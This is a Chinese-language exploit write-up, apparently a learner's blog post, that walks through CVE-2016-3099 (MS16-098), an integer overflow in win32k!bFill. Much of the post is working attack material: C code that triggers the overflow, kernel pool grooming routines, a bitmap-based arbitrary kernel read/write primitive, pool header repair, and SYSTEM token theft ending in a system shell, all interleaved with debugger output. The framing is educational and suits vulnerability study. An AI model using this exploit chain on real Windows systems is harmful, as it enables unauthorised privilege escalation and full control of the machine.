前言
我是逆向练习生,羽墨
我正在从0开始学习二进制漏洞,如果你也跟我一样,不妨来看看小白的第一视角
概述
此漏洞编号 CVE-2016-3099 、MS16-098
实验环境
软件 |
版本 |
Vmware |
win8.1 x64 |
Vmware |
win10 v1511 x64 |
windbg |
windbg preview |
IDA |
IDA pro |
补丁对比
win8.1 win32k!bFill 函数
左边为修复后,右边为修复前
很明显可以看出,修复后增加了安全的乘法函数,所以呢,修复前的问题大概是乘法导致的溢出
这里可以看到,eax = [rbx+4] = [EPATHOBJ + 4] ,很明显,如果 [rbx+4] 的值能控制,它必定会造成整数溢出,因为它使用32位的寄存器,会截断高位数据,[rbx+4]这个值是什么并不重要,重要的怎么能操作它
到达脆弱函数
经过一番查找与跟踪,最后得到了三环到零环的调用流程
FillPath(HDC hdc) -> NtGdiFillPath(HDC) -> xxx -> EngFillPath -> EngFastFill -> xxx -> bFill
调用脆弱的函数
PolylineTo->NtGdiPolyPolyDraw->GrePolylineTo->EPATHOBJ::bPolyLineTo
用来溢出
查阅MSDN文档与百度可知,想要调用FillPath函数,需要BeginPath与EndPath函数中间调用绘图函数(猝)
在调用bFill的过程中,会有对于DC句柄的判断,发现DC有几种类型
可以看到内存类型,支持位图上的绘图操作,看起来像是我们需要的,好的,测试一下是否可以到达此函数(当然 使用别的绘图函数一样可以到达)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | HDC hdc = GetDC(NULL);
HDC hMemDC = CreateCompatibleDC(hdc);
HGDIOBJ bitmap = CreateBitmap( 0x60 , 0x20 , 1 , 32 , NULL);
HGDIOBJ bitobj = SelectObject(hMemDC, bitmap);
static POINT points[ 2 ];
for ( int i = 0 ; i < 2 ; i + + ) {
points[i].x = 0x6020 ;
points[i].y = 0x6020 ;
}
BeginPath(hMemDC);
for ( int j = 0 ; j < 2 ; j + + )
PolylineTo(hMemDC, points, 2 );
EndPath(hMemDC);
FillPath(hMemDC);
|
这份代码并不能到达脆弱函数,经过分析,在bEngFastFillEnum函数中两次对 [EPATHOBJ + 4] 的内容进行判断,而这个内容经过查找资料,就是PATH对象的点数(对GDI开发不懂,貌似是这样。。)
值得一提的是,某个地方会把 [EPATHOBJ + 4] + 1 ,好的,事情就是这样,把points数组弄大一点调用即可(当然,调用别的绘图函数也可以)
修改代码后运行,成功断下
windbg必须使用 ba 命令下断, 不然无法断下 ,断下第一次以后就不会出现无效内存的情况,调用堆栈如下
1 2 3 4 5 6 7 8 9 | win32k!bFill
win32k!bEngFastFillEnum + 0xcd
win32k!bPaintPath + 0xd4
win32k!EngFastFill + 0x97
win32k!EngFillPath + 0x12c
win32k!EPATHOBJ::bSimpleFill + 0x130
win32k!EPATHOBJ::bStrokeAndOrFill + 0x2ff
win32k!NtGdiFillPath + 0x8e
nt!KiSystemServiceCopyEnd + 0x13
|
溢出值的控制
在我们成功找到到达脆弱函数的方法后,考虑一下如何来控制溢出的值
经过前面的分析,[EPATHOBJ + 4] 是 points数组的大小 ,它的值在于PolylineTo的调用,分析一下
可以看到在这里会对[EPATHOBJ + 4]进行 ADD操作, 源操作数为三环传来的 第三个参数
那么他们的关系会是这样(前面看到过都是使用4字节的寄存器)
0xFFFFFFFF / 3 = 0x5555556
0x5555556 / 3 = 0x3FE01 * 0x156
因式分解后,我们调用156次PolylineTo,并且它的第三个参数应为0x3FE01,所以points数组的数量也是0x3FE01
之前分析过它会+1,所以最后会得到0x55555557 * 3 << 4 = 0x50
所以现在会造成,分配了50字节大小的空间 ,修改代码进行尝试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | kd> g
Breakpoint 1 hit
win32k!bFill + 0x377 :
fffff960` 00361c77 8d0c40 lea ecx,[rax + rax * 2 ]
kd> r rax
rax = 0000000005555557
....
kd> r ecx
ecx = 50
...
kd> !pool fffff90141c2a380
Pool page fffff90141c2a380 region is Paged session pool
* fffff90141c2a370 size: 60 previous size: d0 (Allocated) * Gedg
Pooltag Gedg : GDITAG_EDGE, Binary : win32k!bFill
|
好的,看来之前的分析是正确的,最后得到了50作为参数去申请内存
查看申请的内存,分页内存池,pool tag为 Gedg ,对象为 EDGE
1 2 | fffff901` 67646547 : nt!ExFreePoolWithTag + 0x124f
fffff803` 22940c6f : win32k!bFill + 0x4f0
|
之后在bFill中释放此内存会蓝屏,原因为 BAD_POOL_HEADER ,应该是因为缓冲区太小,写到范围外了
此时考虑这个溢出写能否控制,如果不能都是废话。。。
逆向分析构造函数
首先就是这个函数bConstructGET , 先看一下这个函数的参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | kd> dq rcx 第一个参数 EPATHOBJ *
ffffd001` 5c2bea90 05555557 ` 00000000 fffff901` 41e14ba0
ffffd001` 5c2beaa0 00000000 ` 00000000 00000000 ` 00000000
ffffd001` 5c2beab0 00000000 ` 00000000 00000000 ` 00000000
ffffd001` 5c2beac0 ffffe001` 00000000 00000000 ` 00000000
kd> dq rdx 第二个参数 struct EDGE *
ffffd001` 5c2bdcb8 fffffa80` 008c23e0 ffff3295` 00000001
ffffd001` 5c2bdcc8 fffff802` 5a71c58b ffff3295` 593af6a5
ffffd001` 5c2bdcd8 00000000 ` 00000000 0000e001 ` 94bdc880
ffffd001` 5c2bdce8 0000d001 ` 5c2be240 0000d001 ` 5b68cc00
kd> dq r8 第三个参数 struct EDGE * 这是溢出申请的
fffff901` 407bd780 00000000 ` 00000000 00000000 ` 00000000
fffff901` 407bd790 fffff901` 41c15440 00000000 ` 00000000
fffff901` 407bd7a0 00000030 ` 00000000 00000000 ` 0001003b
fffff901` 407bd7b0 00000000 ` 00000001 00000000 ` 00000003
kd> dd r9 第四个参数 struct _RECTL *
ffffd001` 5c2bdd08 fffffb30 00000000 00000019 00000200
ffffd001` 5c2bdd18 5a7386d9 fffff802 5b68cc00 ffffd001
|
进来以后r8给r15,这是前面溢出申请的内存,把它命名为 buf
1 2 3 4 5 6 7 8 9 | kd> dd rbx L50
fffff901` 41c37028 41c3a028 fffff901 00000000 00000000
fffff901` 41c37038 00000001 000001f2 00000000 00000000 / / rdi指向 1f2 后边的位置
fffff901` 41c37048 00060200 00060200 00060200 00060200
fffff901` 41c37058 00060200 00060200 00060200 00060200
fffff901` 41c37068 00060200 00060200 00060200 00060200
fffff901` 41c37078 00060200 00060200 00060200 00060200
fffff901` 41c37088 00060200 00060200 00060200 00060200
fffff901` 41c37098 00060200 00060200 00060200 00060200
|
这里可以看到内存的情况,rbx像是一个结构体,前面三个8字节的值,然后就是points数组
1F2代表的是points数组的项数,1貌似是一个flag,第一个8字节的地址像是单向链表
这里还可以看到,我们在三环的points数组,在这里值变为了 60200 ,数量也只有1F2个,但是通过add rdi,8
可以看出来,这个东西是以8字节为步进,猜测对应三环的point的x和y值
同时rdi指向了一个8字节为0的point,之前分析过,我们的点数会加1,应该就是这个0点了
继续分析
这里在对步进的指针 rdi 与 r14 数组的结束地址 进行判断 , 如果没到结束的地址则一直调用 AddEdgeToGet
好的,进去看看
这里有个分支,可以看到,这里可以通过操控point的值,来达到在 buf+0x28的位置写入 1 或者 FFFFFFFF
但是这个明显没有超过0x50大小的buf,继续分析看看
往下走,会拿rect的两个成员来与point的某些值比较,这里有直接退出的机会
然后比较关键的比较就是这里
这里也有赋值0xFFFFFFFF的机会,但是还没有发现是怎么溢出写的
可以看到在退出的地方,会移动0x30的指针位置,另外一种路线退出则不会移动此指针,也就是说,我们可以通过控制point的xy值,来达到控制写入,写入到附近几个页肯定是没有问题的,在完成写入后,则控制程序流程走左边的路线返回,不会破坏更多的内存
之后返回继续分析
1 2 3 4 5 | kd> dq rax - 30 / / 返回值 - 30 正好对应申请的缓冲区
fffff901` 407bd780 ffffd001` 5c2bdcb8 00000000 ` 00000020
fffff901` 407bd790 ffffffff` 00000000 00602000 ` 00000000
fffff901` 407bd7a0 00000001 ` 00000001 00000000 ` 00000001
fffff901` 407bd7b0 00000000 ` 00000001 00000000 ` 00000003
|
现在找到了溢出写的可能性,申请了0x50的buf,每次添加EDGE结构会加0x30,1F2个能溢出好几个页了
按照正常流程来走,直到1F2个point转换为 EDGE 后 ,会往下面走,结束的条件是线程是否将要被终止,或者rbx的值是否为0,在我调试的过程中,它会出现很多意外的蓝屏,可能这个东西是多线程来操作的?调试影响了线程同步的一些操作?
不清楚 但不影响我们继续
先总结一下如何控制执行流程:
1.第一次进入必定会添加一个EDGE结构,因为系统添加了0点,此时返回的指针+0x30,并且两个临时指针都+8
2.RECT是一个固定的结构,调试可得到数据,想要返回指针不移动,必须让 points[i+1].y < 0 and points[i].y > 0x1F0
3.想要返回的指针移动0x30,只需要避免 points[i+1].y < 0 and points[i].y > 0x1F0 或者 points[i].y > points[i+1].y
4.我们的目标是写入0xFFFFFFFF的值到某个地址(为什么稍后再说),查看写入0xFFFFFFFF的流程,发现只要没有直接退出,那么有几个地方都会被设置为0xFFFFFFFF,分别是
points[i+1].x >= points[i].x 则 buf+0x14 = 0xFFFFFFFF
points[i+1].x < points[i].x 则 buf+0x24 = 0xFFFFFFFF
points[i+1].y < points[i].y 则 buf+0x28 = 0xFFFFFFFF
5.现在可以尝试控制流程来测试我们的分析是否正确,只需查看buf附近的内存即可,还有一个不清楚的地方,为什么被转换为1F2个点,并且值都会增大一个0,是否可以通过三环正常控制
注:以上为初步分析 心里有数即可
控制程序执行流程的测试
第一步
首先需要确定的是,三环的点是否对应0环的点,修改代码后测试,数据如下
1 2 3 4 5 6 7 8 9 10 11 12 | kd> dq fffff901` 407fe028
fffff901` 407fe028 fffff901` 41c02028 00000000 ` 00000000
fffff901` 407fe038 000001f2 ` 00000001 00000000 ` 00000000
fffff901` 407fe048 00000010 ` 00000010 00000020 ` 00000020
fffff901` 407fe058 00000030 ` 00000030 00000040 ` 00000040
fffff901` 407fe068 00000050 ` 00000050 00000060 ` 00000060
fffff901` 407fe078 00000070 ` 00000070 00000080 ` 00000080
fffff901` 407fe088 00000090 ` 00000090 000000a0 ` 000000a0
fffff901` 407fe098 000000b0 ` 000000b0 000000c0 ` 000000c0
kd> dq fffff901` 407fe028 + 1F4 * 8
fffff901` 407fefc8 00001f10 ` 00001f10
|
经过第一步的测试,我们发现0环的点数,确实与三环相对应,且会增大0x10倍,结尾处的值对应第1F1项,推测点数还是0x55555557个不会变
同时这里可以看到,它的首8字节内容是自己,前面分析过,就是根据这个值是否为0来结束循环,所以此处应该是死循环,直到线程即将被结束,好吧,可能有某种线程同步机制?无所谓,并不影响我们利用,只要它能达到预期的目标就行
第二步
现在尝试对 buf+0x90的位置进行溢出写操作,根据之前的分析修改代码来进行测试
第一次进入必定会造成 buf 指针移动0x30 ,所以我们在第二次进入时控制它进入移动buf指针的流程,前面分析过,他会与RECT的bottom进行比较,这个值为0x1F0 , 而我们传入的值,在0环会乘0x10 , 并且都是大于0的值,所以只需要简单修改两项的y值即可,这样不出意外,会把buf指针移动到 buf+0x90的位置
1 2 | points[ 0 ].y = 0x10 ;
points[ 1 ].y = 0x11 ;
|
现在的数据如下
1 2 3 4 | kd> dd fffff901` 400c1028
fffff901` 400c1028 407da028 fffff901 00000000 00000000
fffff901` 400c1038 00000001 000001f2 00000000 00000000
fffff901` 400c1048 00060200 00000100 00060200 00000110
|
执行后的返回值
1 2 3 4 5 6 | bufaddr = fffff90141c464b0
第一次 rax = fffff90141c464e0
第二次 rax = fffff90141c46510
第三次 rax = fffff90141c46540
第四次 rax = fffff90141c46540
第五次 rax = fffff90141c46540
|
好的,现在到了buf+0x90的位置以后,继续执行,地址并没有增加,这说明我们之前的分析是正确的,决定buf地址是否增加的因素只有
points[i+1].y < 0 || points[i].y > 0x1F0
成立则地址不增加
points[i+1].y >= 0 && points[i].y < 0x1F0
成立则地址增加0x30
第三步
现在我们已经可以控制要写到哪个地址,大小应为0x55555557 * 0x30 ,接下来需要确定我们要写入的地址,之前说过要写入0xFFFFFFFF,这是因为需要利用 GDI 对象来实现内核的任意读写
但是想要利用GDI对象,不得不使用内核内存布局的技术,与GDI对象利用的方法,这正是我们接下来要讨论的
利用GDI对象
这里要使用 bitmap对象来实现内核的任意读写,它在内核中的结构如下所示
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | typedef struct {
ULONG64 dhsurf; / / 0x00
ULONG64 hsurf; / / 0x08
ULONG64 dhpdev; / / 0x10
ULONG64 hdev; / / 0x18
SIZEL sizlBitmap; / / 0x20
ULONG64 cjBits; / / 0x28
ULONG64 pvBits; / / 0x30
ULONG64 pvScan0; / / 0x38
ULONG32 lDelta; / / 0x40
ULONG32 iUniq; / / 0x44
ULONG32 iBitmapFormat; / / 0x48
USHORT iType; / / 0x4C
USHORT fjBitmap; / / 0x4E
} SURFOBJ64; / / sizeof = 0x50
|
要利用的成员为sizlBitmap与pvScan0 ,sizlBitmap 是位图的宽度和高度,pvScan0 是指向位图数据开头的指针
可以通过溢出到sizlBitmap来扩展位图可操作的内存大小,来修改下一个位图对象的pvScan0指针,这样就可以进行任意内存读写了
此处更适合用图片来表达,引用一下图片
简单解释一下,我们可以通过合理的内核内存布局来溢出写入到 bitmapA的sizlBitmap成员,这样bitmapA就可以操作 bitmapB的pvScan0指针,然后再通过bitmapB的pvScan0指针来实现任意内存读写
也就是bitmapA作为管理者的位图,bitmapB作为工作者的位图,管理位图负责控制工作位图的pvScan0指针,工作位图负责去依靠pvScan0指针读写任意内存
内核内存布局
外国人把这个技术叫做内核池风水,刚看的时候很奇怪,风水不是中国文化吗。。
这个技术要解决两个问题:
- 在溢出写后,不触发pool header 检查,只需要将buf布置到页面末尾即可,它只检查本页的pool header
- 合理布局GDI对象的位置,以达到后续目的
这个技术需要注意的问题:
- 内核池页面大小为 0x1000 字节,任何更大的分配都将分配给大的内核池
- 任何大于 0x808 的分配都将分配到内存页面的开头
- 后续分配将从页面末尾开始分配
- 分配需要是相同的池类型,在本例中是分页会话池
- 分配对象通常会添加大小为 0x10 的池标头。如果分配的对象是 0x50,实际上会分配 0x60大小的内存
整理一下利用思路:
1.通过申请与释放GDI对象,使内核分页池的布局在我们的控制中
2.计算分配位置,使溢出的时候,刚好用0xFFFFFFFF覆盖sizlBitmap成员
3.通过三环函数,获取到被溢出修改的对象,使它成为管理对象
4.使用管理对象,修改相邻的bitmap对象的pvScan0指针,使它称为工作对象
5.通过管理对象与工作对象的搭配,达到任意读写内核内存的目的
6.恢复被溢出的pool header等重要数据,防止蓝屏
7.窃取系统进程Token(窃取是指此方法可绕过所有内核安全机制)
布局概览:
引用一个动图来说明
GDI对象大小计算分析
bitmap对象
好吧,不得不解决一个问题,GDI对象的大小问题,浅浅分析一下吧
分析过程不提了,最后得到的bitmap在win8.1上面的大小计算公式为
size = (((Width+3) & 0xFFFFFFFC) * Height) + 0x258
经过第一步计算,得到的值必定为4的倍数
size = size % 16 ? size + (0x10 - (size % 16)) : size
第二次计算在申请内存的函数,如果地址不是16字节对齐的,会让它对齐(这部分在内核中实现 我推测的)
最后再加pool header 0x10的大小
分析是在CreateBitmap(x,y ,1, 8, NULL)
x y 为变量,后三个参数固定的情况下分析,如果改变,会影响switch case的选择,当然大小计算方式就会改变
bitmap对象的最小值肯定不会低于 0x258+0x10
AcceleratorTable
加速表对象,这是一个用户对象,大小分配计算公式为
size = cAccel * 3 * 2 + 0x22
分析得出
size = size % 16 ? size + (0x10 - (size % 16)) : size
推测得出,前面也是这样,可能内核确实是这样设计的。。
最后再加pool header 0x10的大小
最小值,肯定不会低于0x22+0x10
EllipticRgn
还需要用到一个与bitmap无关的区域对象(同时它可以用来泄露内核地址,但是也无所谓,泄露内核地址的方法多的是)懒得分析了,测试以后发现,第一个参数与第二个参数为0x79即可申请到0xBC0的大小
内核池风水代码
有了准确的大小计算公式,风水反而成了最简单的部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 | void fengshui()
{
/ / 申请两千个大小为 0xFA0 的 bitmap对象
for ( int i = 0 ; i < 2000 ; i + + )
{
bitmaps[i] = CreateBitmap( 0xD18 , 1 , 1 , 8 , NULL);
}
/ / 填补剩下的 0x80 的空洞
ACCEL accel[ 12 ] = { 0 };
for ( int i = 0 ; i < 2000 ; i + + )
{
hAccel[i] = CreateAcceleratorTableA(accel, 12 );
}
/ / 释放 0xF80 的空间
for ( int i = 0 ; i < 2000 ; i + + ) {
DeleteObject(bitmaps[i]);
}
/ / 用一个较大的对象来占坑 0xBC0 的空间
for ( int i = 0 ; i < 2000 ; i + + ) {
CreateEllipticRgn( 0x79 , 0x79 , 1 , 1 ); / / size = 0xbc0
}
/ / 重新用bitmap对象占坑 0x3C0 的空间
for ( int i = 0 ; i < 2000 ; i + + )
{
bitmaps[i] = CreateBitmap( 0x158 , 1 , 1 , 8 , NULL);
}
/ / 抢占一些 0x60 大小的空间
ACCEL accel2[ 7 ] = { 0 };
for ( int i = 0 ; i < 1000 ; i + + )
{
hAccel2[i] = CreateAcceleratorTableA(accel2, 7 );
}
/ / 释放一些 0x80 大小的ACCEL对象留下空洞
for ( int i = 1000 ; i < 1500 ; i + + ) {
DestroyAcceleratorTable(hAccel[i]);
}
}
|
测试结果
在bFill中申请内存的地方下断,查看返回值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | kd> r rax
rax = fffff90142855fb0
kd> !pool rax
Pool page fffff90142855fb0 region is Paged session pool
fffff90142855000 size: bc0 previous size: 0 (Allocated) Gh14
fffff90142855bc0 size: 3c0 previous size: bc0 (Allocated) Gh15
fffff90142855f80 size: 20 previous size: 3c0 (Free) Free
* fffff90142855fa0 size: 60 previous size: 20 (Allocated) * Gedg
Pooltag Gedg : GDITAG_EDGE, Binary : win32k!bFill
kd> !pool rax + 1000
Pool page fffff90142856fb0 region is Paged session pool
fffff90142856000 size: bc0 previous size: 0 (Allocated) Gh14
fffff90142856bc0 size: 3c0 previous size: bc0 (Allocated) Gh15
fffff90142856f80 size: 20 previous size: 3c0 (Free) Free
* fffff90142856fa0 size: 60 previous size: 20 (Free ) * Usha
kd> !pool rax + 2000
Pool page fffff90142857fb0 region is Paged session pool
fffff90142857000 size: bc0 previous size: 0 (Allocated) Gh14
fffff90142857bc0 size: 3c0 previous size: bc0 (Allocated) Gh15
* fffff90142857f80 size: 80 previous size: 3c0 (Free) * Usac
|
好的好的,现在已经避免了bFill中的释放内存蓝屏,并且我们的溢出利用布局也已经成功
接下来研究一下如何控制溢出,使它正好覆盖到关键数据
溢出写的控制
首先了解一下bitmap对象的布局
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | typedef struct {
ULONG64 hHmgr;
ULONG32 ulShareCount;
WORD cExclusiveLock;
WORD BaseFlags;
ULONG64 Tid;
} BASEOBJECT64; / / sizeof = 0x18
typedef struct {
BASEOBJECT64 BaseObject; / / 0x00
SURFOBJ64 SurfObj; / / 0x18
[...]
} SURFACE64;
typedef struct {
ULONG64 dhsurf; / / 0x00
ULONG64 hsurf; / / 0x08
ULONG64 dhpdev; / / 0x10
ULONG64 hdev; / / 0x18
SIZEL sizlBitmap; / / 0x20
ULONG64 cjBits; / / 0x28
ULONG64 pvBits; / / 0x30
ULONG64 pvScan0; / / 0x38
ULONG32 lDelta; / / 0x40
ULONG32 iUniq; / / 0x44
ULONG32 iBitmapFormat; / / 0x48
USHORT iType; / / 0x4C
USHORT fjBitmap; / / 0x4E
} SURFOBJ64; / / sizeof = 0x50
|
简单说一下对这个玩意的分析,在+258之前的大小,是位图数据所占的大小,+258之后,首先是18字节的BaseObject,然后是50字节的
SURFOBJ64,然后是0x258-0x68大小的一些不知道什么数据
观察pvScan0指针可知,它所指向的位置是在BaseObject为起点,偏移0x258的位置,正好是位图数据,好的,一切那么的合适
所以最终的覆盖sizlBitmap的距离为 0x50 + 0xBC0 + 0x10 + 0x18 + 0x20 = 0xC58
sizlBitmap是两个DWORD值,所以最后覆盖这8字节范围都是可以的
然后根据我们能溢出写0xFFFFFFFF的偏移,来计算应该移动buf指针多少次
buf+0x14 = 0xFFFFFFFF
buf+0x24 = 0xFFFFFFFF
buf+0x28 = 0xFFFFFFFF
还记着之前分析过,总共有三个地方,看哪个地方比较合适
简单计算一下,得到 0x41 * 0x30 = 0xC30
,刚好有buf+0x28 = 0xFFFFFFFF , 好的,就按这个来构造
前面分析过,第一次是必定会移动指针,所以,我们还需要构造0x40次移动,然后根据分析出来的条件设置数据
再次分析程序流程
好吧,有点乱了,重新整理一下条件
让buf指针不移动的构造
1.points[i+1].y >= points[i].y
2.points[i].y >= 0x1F
让buf指针移动0x30的正常构造:
1.points[i+1].y >= points[i].y
2.points[i+1].y >= 0
3.points[i].y <= 0x1F
4.points[i].y >= 0
5.points[i+1].y >= 0x1F
0xFFFFFFFF的写入且buf指针不移动
1.points[i+1].y < points[i].y
2.points[i+1].y >= 0x1F
代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | for ( int i = 0 ; i < 0x3FE00 ; i + + ) {
points[i].x = 0x6020 ;
points[i].y = 0x6020 ;
}
points[ 2 ].y = 0x14 ;
points[ 0x3FE00 ].y = 0x5020 ;
for ( int i = 0 ; i < 0x156 ; i + + )
{
if (i = = 0x40 )
{
points[ 2 ].y = 0x6020 ;
}
PolylineTo(hMemDC, points, 0x3FE01 );
}
|
你会发现这样刚好满足所有条件,但是结果并不是我们期望中的,虽然成功修改了sizlBitmap,但是很明显,后面还是继续移动buf指针了,这是为什么呢?
1 2 3 4 5 6 7 8 9 | kd> dq fffff901716bbfb0 + 0xC30
fffff901` 716bcbe0 fffff901` 716bcbb0 00006020 ` 0000000c
fffff901` 716bcbf0 ffffffff` 00000014 00600c00 ` 00000000
fffff901` 716bcc00 00000001 ` 00000000 00000001 `ffffffff
fffff901` 716bcc10 fffff901` 716bcbe0 00006020 ` 0000000c
fffff901` 716bcc20 ffffffff` 00000014 00600c00 ` 00000000
fffff901` 716bcc30 00000001 ` 00000000 00000000 ` 00000001
fffff901` 716bcc40 fffff901` 716bcc10 00006020 ` 0000000c
fffff901` 716bcc50 ffffffff` 00000014 00600c00 ` 00000000
|
我们之前把points[2].y 当成了 points[i].y 来构造,但是points[2].y 作为 points[i+1].y的时候会是什么情况
points[i+1].y = 0x14 造成的判断逻辑:
1.points[i+1].y < points[i].y
2.points[i+1].y >= 0
3.points[i+1].y < 0x1F
有了这三个条件,成功进入了buf指针移动0x30的流程,只不过是设置buf + 0x28 = 0xFFFFFFFF的分支
那接下来修改一下我们的条件,少一半就可以了呗
1 2 3 4 | if (i = = 0x20 )
{
points[ 2 ].y = 0x6020 ;
}
|
对比一下修改前后的数据
1 2 3 4 5 6 7 8 9 | kd> dq fffff901715c8bc0 + 10
fffff901` 715c8bd0 00000000 ` 010515dd 00000000 ` 00000000
fffff901` 715c8be0 00000000 ` 00000000 00000000 ` 00000000
fffff901` 715c8bf0 00000000 ` 010515dd 00000000 ` 00000000
fffff901` 715c8c00 00000000 ` 00000000 00000001 ` 00000158
fffff901` 715c8c10 00000000 ` 00000158 fffff901` 715c8e28
fffff901` 715c8c20 fffff901` 715c8e28 00001e2d ` 00000158
fffff901` 715c8c30 00010000 ` 00000003 00000000 ` 00000000
fffff901` 715c8c40 00000000 ` 04800200 00000000 ` 00000000
|
1 2 3 4 5 6 7 8 9 | kd> dq fffff901715c7fb0 + c30
fffff901` 715c8be0 fffff901` 715c7fb0 00000000 ` 00000020
fffff901` 715c8bf0 ffffffff` 00000000 00502000 ` 00000000
fffff901` 715c8c00 00000001 ` 00000000 00000001 `ffffffff
fffff901` 715c8c10 00000000 ` 00000158 fffff901` 715c8e28
fffff901` 715c8c20 fffff901` 715c8e28 00001e2d ` 00000158
fffff901` 715c8c30 00010000 ` 00000003 00000000 ` 00000000
fffff901` 715c8c40 00000000 ` 04800200 00000000 ` 00000000
fffff901` 715c8c50 00000000 ` 00000000 00000000 ` 00000000
|
成功控制溢出,可以看到最后一次修改就是在 buf + 0xC30的位置,大小为0x30,后面数据都没被修改
但是此结构的一些数据被修改
获取管理与工作位图
使用GetBitmapBits 获取读取的大小判断即可,如果大小超过我们设置的大小,那么它就是管理位图,下一个就是工作位图
1 2 3 4 5 6 7 8 9 10 11 | BYTE bitmapdata[ 0x1000 ] = { 0 };
for ( int i = 0 ; i < Count; i + + )
{
res = GetBitmapBits(bitmaps[i], 0x1000 , bitmapdata);
if (res > 0x158 )
{
hManager = bitmaps[i];
hWorker = bitmaps[i + 1 ];
break ;
}
}
|
你以为这样就能成功了?呵呵。。。
上述代码调用后,总会出现有一个返回值为0的情况,这是为什么呢,经过一番分析,返回值为0的时候,正好对应被我们溢出的位图,按道理来说读取的数据大小应该会很大,但实际上最后会刚好返回0值
逆向分析GetBitmapBits的底层发现,关键性的计算数据,是创建位图时的bitcount,我们之前使用的是8,现在需要改成32了,同时发现bitmap读取的数据最大值为1FFFFFFE(不详细解释了)
好吧,分析了这么多了,不差再分析一下bitcount为32时的大小计算方式
size = width * 4 * height + 0x258
后面还是正常对齐 , 好的 ,所以申请0x3C0的bitmap时,应该是这样
1 | CreateBitmap( 0x54 , 1 , 1 , 32 , NULL);
|
修改后运行,蓝屏了
1 2 3 4 | win32k!PDEVOBJ::bAllowShareAccess + 0x3
win32k!NEEDGRELOCK::vLock + 0x1d
win32k!GreGetBitmapBits + 0xf8
win32k!NtGdiGetBitmapBits + 0xab
|
这函数我已经分析过了,很简单
rcx是hdev,前面已经被覆盖为00000001`00000000 了,这刚好是个三环地址,在读取0x38的位置时,访问了无效内存导致蓝屏,在这个位置申请内存,并把值设置为1,别让它返回0即可
1 2 | LPVOID xBuf = VirtualAlloc((LPVOID) 0x100000000 , 0x100 , MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
memset(xBuf, 1 , 0x100 );
|
修复溢出的Header
1 2 3 4 5 6 7 8 9 | kd> dq fffff901715c7000 + 2000 / / 工作位图的页 通过 0x40 偏移处的数据泄露内核地址
fffff901` 715c9000 34316847 ` 23bc0000 3a99d16a ` 77af8d66
fffff901` 715c9010 00000000 ` 0204117e 00000000 ` 00000000
fffff901` 715c9020 00000000 ` 00000000 00000000 ` 00000bb0
fffff901` 715c9030 00000000 ` 00000000 fffff901` 715c9740
fffff901` 715c9040 fffff901` 715c9040 fffff901` 715c9040
fffff901` 715c9050 00000000 ` 00000d18 fffff901` 715c9268
fffff901` 715c9060 00000049 ` 00000730 00000001 ` 00000001
fffff901` 715c9070 00000078 ` 00000078 80000000 ` 00000000
|
1 2 3 4 5 6 7 8 9 | kd> dq fffff901` 715c9e28 - 258 / / 下一个位图的pvScan0指针 - 258 就是位图开始的位置
fffff901` 715c9bd0 00000000 ` 010515de 00000000 ` 00000000
fffff901` 715c9be0 00000000 ` 00000000 00000000 ` 00000000
fffff901` 715c9bf0 00000000 ` 010515de 00000000 ` 00000000
fffff901` 715c9c00 00000000 ` 00000000 00000001 ` 00000158
fffff901` 715c9c10 00000000 ` 00000158 fffff901` 715c9e28
fffff901` 715c9c20 fffff901` 715c9e28 00001e2e ` 00000158
fffff901` 715c9c30 00010000 ` 00000003 00000000 ` 00000000
fffff901` 715c9c40 00000000 ` 04800200 00000000 ` 00000000
|
利用区域对象泄露内核地址,读取这个地址,经过计算偏移,读取正常的pool header把被溢出的部分修改好就行了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 | / / 修复溢出的pool header
/ / 泄露内核地址
BYTE leakAddr[ 0x8 ] = { 0 };
for ( int i = 0 ; i < 8 ; i + + )
{
leakAddr[i] = bitmapdata[ 0x218 + i];
}
ULONG_PTR kernelAddr = * (ULONG_PTR * )leakAddr;
kernelAddr = kernelAddr & 0xFFFFFFFFFFFFF000LL ;
kernelAddr - = 0x1000 ;
printf( "kernelAddr : %p\n" , kernelAddr);
for ( int i = 0 ; i < 8 ; i + + )
{
leakAddr[i] = ((char * )&kernelAddr)[i];
}
/ / 恢复区域对象的池头
SetRWAddr(leakAddr);
WriteAddr(&(bitmapdata[ 0x1D8 ]), 0x10 );
/ / 恢复位图对象的池头
kernelAddr + = 0xBC0 ;
printf( "kernelAddr : %p\n" , kernelAddr);
for ( int i = 0 ; i < 8 ; i + + )
{
leakAddr[i] = ((char * )&kernelAddr)[i];
}
SetRWAddr(leakAddr);
WriteAddr(&(bitmapdata[ 0xD98 ]), 0x10 );
/ / 一切都没问题 开始提权
ULONG64 psys = GetSystemProcess();
PrivilegeEscalation(psys, GetCurrerntProcess(psys));
/ / system shell
system( "cmd" );
|
提权
有任意读写原语以后,一切都是那么的随意,提权且不蓝,perfect!
Win10上的重现
首先查看win32kfull!bFill函数,发现与win8.1一模一样的漏洞函数
好吧,不用多说了,经过分析,使用到的GDI对象大小计算方式与win8.1一模一样,所以只需要调整EPROCESS相关偏移
值得一提的是,这个版本的 !pool 命令失效了,原因未知哦
结语
分享使我快乐
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
最后于 2022-6-4 15:59
被yumoqaq编辑
,原因: